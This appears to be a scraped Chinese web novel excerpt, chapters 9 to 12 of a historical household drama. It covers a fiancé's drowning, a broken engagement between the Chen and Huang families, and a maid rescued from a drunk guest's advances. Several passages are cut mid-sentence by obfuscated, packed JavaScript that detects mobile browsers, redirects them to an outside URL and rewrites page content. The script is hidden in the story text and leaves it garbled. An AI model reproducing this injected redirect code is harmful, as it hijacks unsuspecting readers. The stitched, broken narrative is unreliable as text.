周绍骑着马在夜色里快跑,虽绕开了朱雀大街,却仍旧是频频受阻。嫡兄周僖的骑术不如他,过了好一会儿才气喘吁吁地追上来,见他紧绷着一张脸,故意调笑道:“老二啊,你也忒不怜香惜玉了,方才在那街口,你差点就撞到了一个娇滴滴的小美人儿。” 周绍有些无言地看了一眼自己长兄,声音闷闷的:“不会,以我的骑术,撞不到任何人。” 却丝毫想不起他说的什么美人儿,也无心去想。出了这样的大事,将来襄王府两支宗亲还不知依靠何人,周僖竟还有心思关心什么美人。 周僖讨了个没趣,也不再提,实然他方才惊鸿一瞥之下,确然被那少女的容色晃了眼。若非今儿不是时候,他可能还得着人悄悄打听打听这是哪户人家的女儿,到时送给他弟弟开枝散叶。 “好端端的,偏出了这样的事。也不知道是谁有这样大的胆子,也不怕伯祖父诛了他们九族!”周僖紧皱着眉头,也骂了一句。 东宫出事,对他们是最不利的——周绍是东宫伴读,和太子情谊很深,这些年来一直鞍前马后替太子扫清障碍,办了不少差事。 如今眼看着陛下年事已高,太子指不定哪日就能继位了,可一错眼,竟冒出了这样的事情…… “好在出事的时候你不在,听闻那日在马场伴驾的宗亲个个都挨了板子,陛下气得要命,恨不得将他们都下了大狱。” 周绍一向对太子死心塌地,皇帝也没有别的儿子,好不容易老来得子养到现在,也没有半点父子相疑的意思,对周绍的忠心,只有欣赏的份儿。 太子在马场出事时,周绍正在江南办差,什么样的火都烧不到他身上,但马场里的众人,个个都惹了陛下的疑心。 男子捏紧了缰绳,寻常时候是再冷静自持不过的人,到了这会儿,也终叹息一声:“若是有神医能妙手回春,保住他的性命,才是最好的。” 夜色将他的尾音打了个卷儿,多出些的萧瑟之意,一时叫襄郡王不知他是在替太子祈愿,还是为了旁人。 …… 两人没有被这个小插曲扰了兴致,反倒更加高兴地在街上四处闲逛。 主街两边的灯棚都设了各色的灯谜叫人去猜,齐和书读的书不少,一路上猜出了不少灯谜,最后只留了一个最好看的白白胖胖的兔儿灯,放在青娆掌心里。 青娆很是欢喜,拎着手里花灯左摇右看,心里想着,方才的灯谜里,十个她倒能猜出七八个,可见这些年跟着姑娘读书也是有些进益的。将来嫁给齐和书,也不怕夫妻两个没有话说。 她自个儿懂诗文,却也喜欢看着意中人为自己意气风发的模样,因而便只管收灯,又一面将多的赠与路过的孩童,一面笑嘻嘻地赞他文采斐然。 齐和书哪顶得住这一张惯会夸人的嘴,不一会儿便飘飘然的,整个人像熟透的红虾子,若是外人乍一看,还当是哪家害羞的新娘子。 他却一副心肠越发都牵挂在了眼前的美娇娘身上,牵起她的手允诺道:“好青娆,我明日便去禀明爹娘,叫我娘去跟大夫人求娶你。” 青娆眸光微动,羞涩地点头,不忘提醒道:“大夫人这几日正为大姑娘的事儿伤心着,你让袁婶看着些,千万别触了她霉头。” “我明白的,你放心。” 两人各得了准话,玩乐了一会儿,便依依不舍地准备散了。 临别时,青娆听见有人在远处大声呼喝:“不好啦,有人落水啦!” 不欲凑这等热闹,齐和书忙送了她回去:“……外头热闹太过,只怕有许多麻烦事,你早些回去歇着,免得被人冲撞了。” 青娆还没看出方才的事情,他作为男子,扫了一眼便知道那是京城有名的销金窟——金水河。在那河边落水的,指不定是什么腌臜人物。 * “姑娘的字,越发好看了。” 陈家未嫁的几个姑娘里,四姑娘读书最好,近来也愈发勤勉,每日雷打不动地要练上几张大字,只今日晨起却有了兴致,抄起经文来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄承望中了进士,如今在庶吉士馆里学习,等散馆时便会定下差事,近一年来,在陈家和黄家的特意经营下,也有了不小的名声。故而手底下人来报,他一下子就想起了黄家和陈家的这桩亲事,因陈家大老爷和他从前有些交情,他才特意亲自上了门来。 “近日雨水多,潮水凶猛,听黄家人说,黄公子不通水性,又在水中留下了许多贴身的破碎衣物……”刘傅看一眼上首脸色越来越白的大夫人和几乎摇摇欲坠的四姑娘,有些不忍,“……以本官多年的办案经验来看,只怕黄公子是凶多吉少了。” “姑娘!” 却见四姑娘眼睛一翻,似是一口气堵在了胸口,竟是当场昏了过去。 好在青娆眼疾手快地抱住了她,这才没让她摔到地上。 上首的陈大夫人吓了一大跳,哭着跑过来抱住幼女:“我的心肝儿啊,我的肉啊,你可别吓娘啊……” 屋子里顿时乱成了一锅粥。 9. 第 9 章 请大夫来看过后,陈大夫人才大松一口气。还好,幼女只是受了惊吓,没有动了元气。 又唤人来打了水洗脸,这才有心思应付外头院子里尴尬地坐着的刘傅。 “今日之事,多谢刘大人告知。若非如此,这活不见人死不见尸的,也不知何时才能有个准信儿。”大夫人拿帕子擦着眼角,真诚地感激着。 刘傅待得十分尴尬,好容易等到了主人家出来,应付了一句便忙起身告辞——若不是因为和陈家的交情,陈大老爷如今不在家中,他是万万不会和陈家母女说这样的事的。 “刘大人且等等。”大夫人命人拿来一匣子上等的明前龙井递过去,低声问:“不知他这回的事,是意外,还是有人蓄意为之?” 陈家出过宰辅,陈大老爷如今又身居要职,这些年来树下的政敌不少。好端端的出了这样的祸事,她免不了疑心是有人故意从中作梗,坏她女儿的亲事,连累陈家的名声。 刘大人连忙推拒,他家中也是豪奢出身,专门上门来报,并非是为了什么车马费,“这却是不知。昨儿是三月三,京城里的百姓实在太多,京兆府的衙役都在忙着看朱雀街上的事情,金水河畔只留了几个人值守。可不巧,黄公子落水的地方是个颇暗的地方,那处并无衙役……且那处的河岸边,两块大石头上都有不少湿滑的青苔……” 话说到这儿,陈大夫人便知刘傅是偏向于黄承望的事是失足落水了。只是他为人谨慎,不肯在无实证的时候说出确凿的话来。 她眼中的戾气散去,转为凄楚和不甘来:她的微微,怎生这样命苦?黄家的亲事本就算是她低嫁了,为的便是要她能在婆家抬着头做人,没人敢欺辱她,平平安安舒心畅意地过一辈子。 可就是这样的亲事,老天爷竟还不长眼,生生地叫毁了去。如今婚期将近,黄家的小子却丧了命,这岂不是要让她的心肝守望门寡? 不行!她决不能让这等事发生! 沈氏暗暗咬了咬牙,眸中凶光一现,下定了决心。 * 一天一夜杳无音讯,黄家人很快也接受了京兆尹的判断:黄承望,多半是在金水河中丧生了。 黄二夫人眼睛肿得像桃子,浑浑噩噩地看着她的嫂子和弟媳帮她主理长子的丧事。 正是这时,陈家这头着人来请她过府。她流着泪,只以为陈家也终于听说了消息,亦不愿看着满园白茫茫的一片,便带着弟媳去了陈家。 黄家往上数三代不过是个耕读之家,靠着田里的出产养出了第一个秀才。而后一代,又出了个举人,免了赋税,又靠着家里的积银捐了个九品芝麻官,到黄承望父亲这一辈,读书最好的就是他,三十岁时踩着线中了进士,靠才学谋了个中县的县令。一代代在县城里经营下来,黄家也就成了当地有名的地主。 黄家的老祖宗由此很推崇家里的子弟读书,砸了不少银子为他们延请名师。三个房头里,如今就数黄承望和小他四岁的弟弟读书出息。 黄三夫人是个很精明的人。她看着二房出息,便一直前前后后地帮她嫂子料理家事,为的就是能沾上五郎黄承望的光——黄承望的爹当上了县令,可还没来得及做出什么大的成绩,便病死在了任上。黄家距离成为真正的官宦之家,总是差了一口气。 原以为五郎年纪轻轻就中了进士,还当上了庶吉士,将来定然前途无限,谁知又如同他老爹一样,白白地叫白发人送黑发人。 可黄三夫人不是个容易气馁的。 这么多年的巴结功夫都做了,总不能全当媚眼抛给了瞎子看吧!没有了五郎,这不是还有他看着差不多出息的弟弟七郎吗! 陈家可是富贵泼天的人家,听说还有女儿嫁给了皇帝老爷的侄孙,他们黄家这样的地主,在他们眼里还只是寒门呢! 好容易叫人家看中了,要将女儿许配给他家的小子,谁承想五郎这样苦命,还没成亲就撒手人寰了……哪怕是嫁过来后出的惨事,那姻亲关系和人总也得留在他们家…… 黄三夫人就低声劝她嫂嫂:“二嫂,那陈家四姑娘,平日里什么为人?” 黄二夫人一听,眼泪就滚滚落下:“那是个顶乖顺可爱的孩子,和我家五郎立在一块儿,简直是菩萨坐下的金童玉女一般的人物……她平日里那样欢喜我家五郎,如今听了这消息,只怕要伤心得起不来身了。” 这也是黄二夫人愿意去陈家的原因。照她想,若这世上还能找到与她感同身受的,除了她家小七,也就这个满眼都是她儿子的姑娘了吧! 黄三夫人暗自撇了撇嘴,只觉得她天真:那样的人家,便是那小姑娘当真一腔痴心又如何?她瞧着今日这帖子就来者不善,指不定,就是要她们退婚的!若是不退婚,陈家姑娘就只能守望门寡,她们岂能舍得金尊玉贵的女儿受这样的苦? “嫂嫂,我看你这样喜欢那丫头,心里倒有一个念头,不知当不当讲。” “你我妯娌多年,亲姐妹一样,有什么不能讲的?” “五郎没了,我也伤心得很。只是总得为活着的人多想想……从前我们想着有陈家这门亲事,不光五郎日后仕途无虞,七郎那头,也只有顺顺遂遂的。可如今……”黄三夫人叹了口气,试探地道:“若真要人家姑娘守望门寡,只怕两家反而结仇。可若是白白错过这样的好亲事,又实在遗憾……嫂嫂,照我说,那七郎,也不过就比陈家姑娘小上三四岁……” 黄二夫人听得心口直跳,一时都顾不得伤心了,震惊地看着妯娌:“这、这怎么行……” 原是五郎的媳妇,怎么好又许给七郎?更何况,那四姑娘已经到了要出嫁的年纪了,怎么好等上那么些年? “正是因她到了要出嫁的年纪,五郎却偏偏出了这档子事,她的婚事这才会难办。别说是民间传闻了,说句不好听的,连我们自个儿心里都不舒坦,想着是不是被她克了……” 黄二夫人不信这个,却被妯娌话里的意思说得有些心动了。是啊,她还有七郎,总不能叫他将来孤立无援…… 黄家的两位夫人算计着这些,正院里等得着急上火的陈大夫人也在和心腹妈妈说着这事。 “您说,黄家的会不会有此提议?”王妈妈试探地开口。 陈大夫人柳眉一竖,正要训斥,却又压了下去。她想了想,照他们寒门祚户的眼界,倒真有可能开得了这个口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053403|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不行!”她却坚决反对,“男人本就喜欢年轻的颜色,再大上三四岁,更是少了几分怜惜。便是嫁过去,也没什么好日子过。更何况,黄家五郎再怎么说也有进士功名,还是二甲前列的进士,他那弟弟如今只是个童生,也配娶我陈家的女儿?” 王妈妈就点了点头:“夫人心里主意正就好,老奴也是怕黄家的趁机耍弄心眼,叫四姑娘吃了亏去。说白了,这满京城的好儿郎,四姑娘都嫁得,又不是非他们家不可。” 放在往日,王妈妈拍的马屁会叫沈氏浑身舒畅,可今日,她一时想起幼女为了这个男人要死要活的模样,一时想着京城适龄的好儿郎早被订了去,再有这退亲的事多少会影响她的名声,就头痛不已。 但再怎么样,黄家这门亲事必须要退掉,否则,只会后患无穷。 于是,等黄家人被带到了正院,还没寒暄几句,陈大夫人就单刀直入道:“亲家平日里一直很喜欢我家四娘,想来也不舍得叫她年纪轻轻守了望门寡,不如两家便在办丧事前退了亲,也好叫她日后好再说一门亲事。” 黄二夫人愣了愣,瞬间气得发抖。 她喜欢四姑娘是一回事,可陈家人这样毫不客气地要求退亲又是一回事。照大晋律法和民俗,即便她是陈家的女儿,为他们守望门寡也是理所当然。 陈家人凭什么这么理直气壮,在她儿子尸骨未寒之际这样踩她们的脸面? “亲家母这话说得不中听,不光是我喜欢四姑娘,我家五郎更是欢喜四姑娘。两个小儿女郎才女貌,想来,四姑娘也很愿意嫁给我家五郎。”她甚至不大理会妯娌的眼色,冷冰冰地看着沈氏。 沈氏却不恼不怒,只捏了帕子笑:“原先我也觉得,这两个小儿女最是登对。可出了这档子事,我却不敢肯定了。你家五郎,可是死在金水河里头的。” 她看了一眼还没听懂的黄家人,慢条斯理地剥了个杏仁,又拿帕子仔细地擦了擦手,漫不经心道:“金水河里头,可都是娼妓。也不知你家五郎,是失足落水,还是在哪条红舟上落了水?说不定呀,是同人争风吃醋抢妓子,被人丢进水里的,也未可知。” 沈氏笑盈盈地望着脸色逐渐变得铁青的黄二夫人,声音平静:“这些事情,我都还没搞清楚,或许,也该再请京兆府尹刘大人上门一趟来问问。哦,你们还不知道吧,令郎落水的消息我昨日一早就知道了,正是刘大人亲自上门告知的。我们两家,还是有些交情在的。” “你是什么意思?”黄二夫人声音变得尖锐,不可置信地看着她。 沈氏只是目露怜悯,温温柔柔地道:“我不过是担心你家七郎罢了,没了哥哥照拂,若是再因哥哥狎妓之事,坏了声名,将来想要踏入仕途,只怕难了。” 一旁鸦雀无声的黄三夫人脸色也渐渐泛白。 她只顾着算计陈家的好处,却忘了,这陈家,是在京城屹立不倒数百年的世家。 所谓世家,不仅有着世代簪缨的富贵,更为人瞩目的,是它面对平民时刻可能伸出的利爪。 黄家在这样悬殊的实力对比下,失去了最有出息的子弟的同时,也失去了和它坐在同一张席上磋商利益的资格。 10. 第 10 章 黄家人上门的事,青娆虽一心照顾着四姑娘,却也有所耳闻。 等再着人去打听时,便知晓了黄家同意了由陈家提出退婚的事情。 这样的章程,对如今的四姑娘来说,是损害最小的办法。 青娆大松一口气的同时,心情十分复杂——四姑娘一心盼着嫁过去,怕是早就对黄公子情根深种。眼见要得到又眨眼间失去,心里该是如何地哀恸…… 姑娘的亲事早在两年前就定下了,如今她已经年过十六,此时再退婚,京城里适龄的儿郎恐怕都有了亲事,将来再寻一门称心如意的,可真是千难万难的事情。 两人自小一块儿长大,虽有主仆的名分,但行的都是姐妹之事,自来大节小节恩赏也是不断。故而四姑娘在青娆心里,也是半个姐姐般的人。且四姑娘从来都是灵动活泼,鲜活得如同书房里挂着的那梅花鹿似的,再见她如今躺在床上,脸色苍白如素缟,睡梦中神色也难掩愁郁,又叫人怎么不心疼! 却见她忽地眉心微动,似在蹙颦,青娆微微一怔,旋即惊喜地看着慢慢醒转的四姑娘,红着眼睛道:“姑娘,你可终于醒了!” 昨儿听了那噩耗便直直昏了过去,等晌午醒了又问了一遍,知道黄五郎还是杳无音信就一个劲儿地哭,哭得浑身发抖。红湘见她这样不行,和青娆耳语几句,哄着她喝了大夫开的安神药,这才又昏睡了过去…… 四姑娘的眸色有些恍惚,好一会儿,才忽然抓住青娆的手,如同抓住了最后一根救命稻草,目光里含着祈求。 青娆不忍与她对视,偏过了头。 一旁端着药进来的瑞香也红了眼睛,将药碗捧到她面前,小声地道:“姑娘,方才黄家人来了,说……正准备给黄公子办丧事……” 连黄家人自己都不抱指望了,可见黄承望的死,约莫是板上钉钉的事了。 一瞬间,四姑娘眼里的光黯淡了下去。她拨开瑞香想要拿勺喂她的手,挣扎着爬起来,将药汁一饮而尽。 青娆在一边看着,还以为四姑娘终于肯接受现实了,心里又欣慰又酸涩,上前去拉住她的手,想再劝些什么。可下一刻,四姑娘便忽然哭了起来,甚至哭得吐了血,又晕了过去。 屋里顿时又一阵兵荒马乱。 …… “……这是气急攻心之兆,吐了这口血,精神反倒会慢慢好起来。”白胡子的大夫诊了四姑娘的脉,认定没什么大碍,笑着又换了几味药,重开了安神补眠的方子。 红湘忙领着他去库房里抓药熬药,瑞香收拾完了床铺,给四姑娘换了干净的衣裳,又掖好被角,这才看到被吐了一身血的青娆。 “青娆姐姐,你也守了一天一夜没合眼了,快去净房里洗一洗,回家里歇半日再过来。如若不然,身子骨可怎么顶得住?别姑娘还没好全,你又倒下了,那我们可彻底没了主心骨了。” 那厢大夫人打发走了黄家的人,松了口气的同时自己也倒了下去,大夫如今是两头的跑,大少爷也在母亲床前侍疾,一时顾不上妹妹。 青娆点了点头,叫人送了热水过来,转身进了净房梳洗换衣——她这副模样,的确不能直接回家,吓坏了家里人不说,还容易冲撞主子。 等梳洗过了,她事无巨细地交代了红湘和瑞香,又看了四姑娘一会儿,这才出了九如院。 * 一天一夜没合眼,青娆的确很有些疲倦了,好在梳洗时醒了些精神,故而还能强撑起眼皮往家里走。 出了这样的事,她也有些被吓着了,只想着回到家中和家人团聚,心间的不安稳也能少些,故而没有去院子里她的屋子休息。 陈家的园子很大,穿过林荫甬道,过了好几道亭台楼阁,青娆才依稀看见后头那一排下人房灰色的檐角。 绕过一棵大槐树时,假山后头突然闪出来一个人来。 青娆被吓了一跳,便见是个年轻男子,身着湖蓝色步步高升的湖绸直缀,头上戴着玉冠,一身的富贵。 是个外男! 青娆心头警铃大作,又隐隐闻见这人身上浓重的酒气,连退了好几步就要告辞:“奴婢是内院的丫头,冲撞了大爷,这就告退。” 丫鬟生了一张精致如玉的漂亮脸蛋,低头时,白净细腻的颈子便露在男人眼前,似乎还能隐隐闻见刚沐浴过的胰子香气。 男人本就喝得酩酊大醉,此时见了美人儿,更是心思浮动,想也不想地就抓住了她的腕子,笑嘻嘻地道:“哪里算是冲撞呢?爷醉了,本就需要人扶着,快!把爷扶到你家三爷屋里去……” 对青娆方才故意提醒自己是内院丫鬟的事,半点没听进去。且那不安分的眼睛,一直在她身上扫来扫去。 青娆心头大急,使了力气想挣脱,奈何男女力气悬殊,即便这是个醉醺醺的酒鬼,也不是她这等身量娇小的姑娘家能摆脱的。 一时更恨三少爷,家里如今刚出了事,他怎么敢又怎么有心思敢在这当口宴请这种不三不四的客人! 男人见她挣扎不开,笑得更得意,使劲儿将人拽到怀里,低头嗅了一口,整个人的身子的重量都快要压在她身上,“好香的美人儿,跟了爷回去,爷收你当姨娘!” 青娆拼命地挣扎,心里念头急转:这里是外院,她若是大声呼喝,一定能将人喊过来。可若是喊了人来,瞧见她与外男厮缠的样子,说不定正遂了这贱男人的心愿,不得不委身于他,若是涉及到了三少爷,说不定大老爷回来还要发落了她……可若不是不喊人,难道就真叫他即刻顺心如意? 忽然间,抱着她狞笑的男人身体一晃,然后往后连退了好几步,一个不稳便摔在了地上,立时一脸怒容,不可置信地往上看。 青娆失去了禁锢,连忙就要往内院跑,这才瞧见了来人。 竟是齐和书。 她顿时顿住了脚,眼圈瞬间红了,方才的畏惧、恐慌、愤怒,此刻都转为了想扑进眼前人怀里的无助和委屈。 齐和书目光锐利如刀锋,紧攥着拳头,声音里夹杂着难以忽视的怒气,却是落地成冰:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053404|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵三爷,这里是陈侍郎府邸,您想要做什么?” 那人却不是普通的纨绔,而是在陈家族学里求学的外人,也认得齐和书,知道他的来历。 赵三郎呸了一口,捂着脸怒道:“你算什么东西,也敢打爷?” 赵三郎虽然是借读,可家里也是官宦之家,只不过门第低些,家底薄些。平日里大少爷不大理会他,他只能退而求其次,与陈家庶子里头最受宠的三少爷往来。 可再怎么门第低,也轮不到从前是奴仆之子的齐和书来教训他。 “我的确不是什么贵人,可赵三爷确定,要将陈家的脸面放在地上踩?”齐和书冷冷地看着他,“陈家的主母病了,大少爷还在母亲面前侍疾,赵三爷却跑到陈家家中宴饮,还要轻薄陈家的丫鬟……这丫鬟,可是日日要去陈家大夫人面前禀事的,赵三爷如此,是想去和三少爷一道去大夫人面前分辩吗?” 被揍了一拳,赵三郎早就清醒了不少了,眼下再听齐和书这一番话,心里也有些后怕。 他哪儿知道,随便拉个小丫鬟想上床,就能拉到大夫人身边的人?再看那丫鬟,通身穿金戴银,穿的也是不错的料子,的确不像什么破落户,眼神已经开始惊疑不定了。 害得三少爷和他一道丢脸也就罢了,怕就怕陈家人觉得自己品行不端,带坏了家里的少爷,将他送回家去不许他在这儿求学……那他可真要被老头子打断腿了。 “哼!陈家也就罢了,你可记着,今日你打了我一拳的仇,我早晚会报!”赵三郎很快就认了栽,临走前,不改纨绔本色,气势汹汹地放了狠话。 齐和书也不在意,等他有了功名,他也不用再借陈家的虎皮,自也不怕他赵三郎。 处理完了这糟心事,他这才转过头,拉着青娆的手左看右看:“你还好吧?有没有受伤?” “没有。”青娆怔怔地看着他,忽而埋在他肩头,小声地哭了出来。 齐和书顿时手足无措,卯足了劲儿宽慰她:“你放心罢,今日的事他回去了定然不敢乱说,若是说了,光是三少爷那儿他就讨不了好。这种纨绔子弟我见得多了,看着蛮横不讲理,实则最知道趋利避害……” “齐家哥哥。”青娆却轻轻地唤了他一声,哽咽着道:“多谢你。若是今日没有你,我真不知该怎么办了……” 齐和书的目光就柔和了下来,哎了一声,摸了摸她的青丝:“府里大夫人病倒了,正是乱着,你要是要去哪里,日后便多喊个人一道,免得再叫什么人冲撞了。” 青娆却想着,即便是大夫人好好的,三少爷那里也从来都是这等群魔乱舞的模样——嫡母存了心要养坏的儿子,身边哪里能少得了狐朋狗友?今日的事要是传到大夫人耳朵里,还指不定她是会为了四姑娘的脸面愤怒,还是为三少爷在这关口不孝地惹出这事而高兴呢! 也只有他,明明晓得这是个烂摊子,还愿意为了她,以下犯上,犯了忌讳。 她心里软软的,前所未有地对面前的人生出了一些依恋。 11. 第 11 章 出了这事,青娆兀自担惊受怕了几天,见没了后文,便也浅浅放下心来,信了齐和书的话。 四姑娘喝了安神药,昏睡到第二日早晨才醒来。这回再醒来,目光瞧着清明了些,也不再哭闹,只是人还是恹恹得没精神。 大夫人在病中仍放心不下这个幼女,一天三次地打发人来看,见她这模样,也知只是心病,总得要她自个儿慢慢地想通。 这日,青娆服侍着四姑娘洗漱换了新衣裳,给她绞发时,便见她只是呆愣愣地坐在桌案边,不说也不笑。 四姑娘这一病,各处里都伺候得精心,进了三月房里还燃着火盆不说,那博古架上放着的白玉骨瓷小香炉里,也点着名贵的檀香,为的便是叫四姑娘夜里睡得安宁舒心。 她终是忍不住:“姑娘,奴婢有句僭越的话,纵知道说了姑娘可能要罚我,却也不得不说一说。” 四姑娘的眼珠子微微转了转,整个人还木着没动弹,视线却落在了青娆脸上,算是默认了。 “……您是名门出身,这屋里用的摆的,随便拿一件出去都够黄家人嚼用许久。您与黄公子这门亲事,本就是下嫁,为的便是让您日后过得舒心……如今出了这样的事,谁也不愿意看见,但既然出了,人总得要往前看。黄公子虽是不幸,可到底是死在了那地界,瓜田李下的……说不准,就是往日夫人和我们看走了眼,若他真是这般品行,您和那位,真是半点不相衬!” 陈家的门第比黄家高出来不知多少,当日陈大夫人赞同这门亲事,打得就是让四姑娘嫁过去,被黄家人当成仙女般供奉起来的主意——四姑娘嫁妆丰厚,黄家家底略薄,刚进庶吉士馆的黄承望在仕途上也只能依仗岳家,且黄家根基浅,几个房头都是只有一位正室夫人,黄承望的书房里也从来没有什么红袖添香的婢女…… 可黄承望如今三月三死在了金水河畔,这样的地界,又是这样的日子,很难不让人遐想。 四姑娘看了她一眼,目光忽地冷下来,忽地狠狠地一拍桌面:“你放肆!” 青娆身子一颤,自来没受过这样的冷遇,却愈发挺直了脊梁,不闪不避地望着她:“也不是奴婢随意猜测,若黄家人真是问心无愧,怎么会如此干脆地退了亲事?” 打从陈阅微醒了,几个丫鬟都再不敢在她面前提黄家的事,退婚一事,四姑娘应还是头一回听说。 她手一颤,滚滚的玫瑰卤茶便随着茶盏的碎裂溅了满地。 半晌,才终是伏在青娆的肩头,呜呜地哭了起来:“……他平日里待我那样好,作甚要去沾染那些不干不净的妓子?坏了名声也就罢了,如今还将一条性命交代了进去……三月三那日,我在茶楼里陪着宋姐姐说了好久的话,也不见他送来只言片语,却是这般来龙去脉……” 一听她的口气,便知昔日的满腔爱意转成了嫉妒与不甘,甚至怀着恨意。 实然青娆也不知,黄承望的死究竟有何内情。只是人与人之间亲疏有别,四姑娘沉湎在悲伤里久了,难免伤身,她做不到束手看着。 再者,如今大夫人倒下了,内宅里四处乱糟糟的,她也得将她的靠山重新托起来,免得那日之事再重演。 等一切事情过去了,四姑娘也该再好好替自己寻一门亲事。世上的男儿,多的是,她不觉得金贵如四姑娘,需得在黄家这棵树上吊死。 * 陈大夫人病了,几个庶出的姑娘们皆在嫡母身侧侍疾,大少爷每每下了学,也时常去看望母亲,令陈府人大吃一惊的是,身在旋涡中心的四姑娘倒是很快打起了精神,在看望母亲后,便主动担起了照管家务的担子。 原就是一身宠爱的嫡女,自来没什么下人敢在她面前摆谱,且大夫人管家一向有章法,四姑娘不过是萧规曹随,依足旧时的规矩,一时间府里上下便显得井井有条。 出远差的路上惊闻两大噩耗,办完差事便风尘仆仆赶回来的陈大老爷一进家门,感受到的便是这样的景象。 他紧绷的嘴角微微松了松,对这个颇受妻子溺爱的幼女倒是有些刮目相看了——原以为是锦绣堆里养出来的彩釉瓶子,中看不中用,只能低嫁了才能保全,如今经了挫折再瞧,却是有几分大家主母的气度了。 黄家的亲事原本就是因着黄承望这个年轻人才品不错,他才勉强点了头,为的也是给几个儿子将来入仕添些助力。这样的亲事,失了固然可惜,却算不得遗憾,更不消说要他陈家的女儿为这门亲事守着是绝无可能——那岂不是叫他白白花了银钱和精力培养一个女儿! 陈弘章对幼女就多了几分欣赏:“如此,才是我陈弘章的女儿!放心罢,四娘,将来为父必定为你再寻一门好亲事。” 固然因这退婚之事,陈阅微在京城贵族的婚嫁圈子里难免要沉寂些时日,适龄的儿郎必然少了,可位高权重的鳏夫却也是有的。将来嫁过去,有陈家人撑腰,照样能将日子过得红火。 …… 陈弘章对四姑娘管家之事的肯定,给暗地里想趁着主母生病抓住中馈的几个姨娘的心思都泼了冷水,转而更为殷勤地在房里给大夫人端茶倒水,捶腿捏背,一副小心服侍的模样,打起分宠的心思。 亲爹房里的事四姑娘没心思去管,只知道自打在他跟前过了明面儿,自己使唤起各院的下人来更顺手了些。连带着青娆红湘等九如院里的丫鬟,在府里都更多了一层体面。 而陈大夫人自夫君归府,被火煎着的一颗心总算撤了一大半的焦灼,精神气也渐渐好了起来,甚至还开始重新在京城尚未婚配的儿郎里挑选起女婿来。 袁氏便是在大夫人刚病愈时,捱不住儿子的日日苦求,进了府来。 * 袁氏跟着小丫鬟绕过影壁,走过穿堂,再过一道垂花门,便见粉墙绿瓦,亭台假山,涧溪处草长莺飞,自是满目浓翠,人间好景。 放了良籍出了陈家,旁人多羡慕她有个成器的儿子和能干的当家的,可真出去了,才知柴米油盐皆是难处,离了陈家这泼天的富贵,又有堪称吞金的读书人在家中,她只恨不得一文钱掰成八瓣儿来使。 好在儿子争气,年纪轻轻就过了县试,将来若能得了秀才的功名,一家人也算是熬出头来,再过陈府陪大夫人说话,也能被下头的人恭恭敬敬道一句齐太太,而不是如今不尴不尬的“袁婶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她们当了邻居多少年,袁氏就嫉妒了崔氏多少年。如今好不容易在老对头面前扬眉吐气了,他儿子却偏偏被那家的小女儿勾了心去,袁氏又怎么能气得过? 想起陈年往事,袁氏心里就郁卒得厉害。 忽儿见烟水桥那头,有两个穿红着绿的丫鬟下了桥,袁氏眯了眯眼睛,问:“那两位是?” 瞧通身的首饰衣料,不像是寻常的小丫鬟。 引路的丫鬟就笑:“袁婶子许久不进府了吧,那是四姑娘院里的两位姐姐,个头高些的那位是瑞香姐姐,如今升了二等……” “原是这样。”袁氏笑了笑,有些肉疼地从荷包里掏出一角碎银子,道:“姑娘前头还有差事,不好被我这事绊着。我正想着要去给四姑娘问个安,一会儿便跟了那两位姑娘去就是。” 小丫鬟想了想,笑着应下了。 四姑娘如今管着府里上下的事情,这袁婶子说要去给她请安,她并没有起疑。 袁氏心里却想着,那庄青娆是在四姑娘身边服侍,她总得要去主子跟前试探试探,免得到时叫他们家掉了空儿。 于是过了烟水桥,低头理了理衣襟和袖口,正要笑着抬头同背对着她摘花的两个丫鬟搭话,却听其中一人笑嘻嘻地道:“青娆姐姐可真是好福气,那日我瞧着,那齐家的小掌柜,竟为了她打了三少爷那边的客……” “啊!这话当真?这也实在是……” 身后,袁氏挤出来的笑脸顿时僵住,面色沉了下来。 12. 第 12 章 袁氏拎着备好的礼进了正院,一路走一路恍惚,直到陈氏叫她进去,出门来迎她的碧荷喊了她两声不见人应,拉了她的手,这才回过神来。 碧荷的面容有些忧虑,压低了声音道:“袁婶子这是怎滴?莫非家中出了什么事儿?”她看一眼门里,小声道:“若是如此,一会儿也得慢慢地禀,免得犯了夫人的忌讳,倒要不好。” 因生了齐和书的缘故,府里适龄的丫鬟对袁氏都眼熟,又带着客气。 袁氏面上一派感激,不动声色地上下打量了碧荷一番,笑道:“姑娘也长成大人了,这样的容貌气派,将来谁家要娶了你,可真是好福气。” 碧荷听着一怔,羞赧起来:“好端端的,婶子怎么说这样的话?”心间却是微微一动。 袁氏却是念头急转,有了主意。 她原就瞧不上庄青娆的狐媚做派——八百年前的邻里,也能被她用来套近乎,勾了她儿子满腹心肠去。 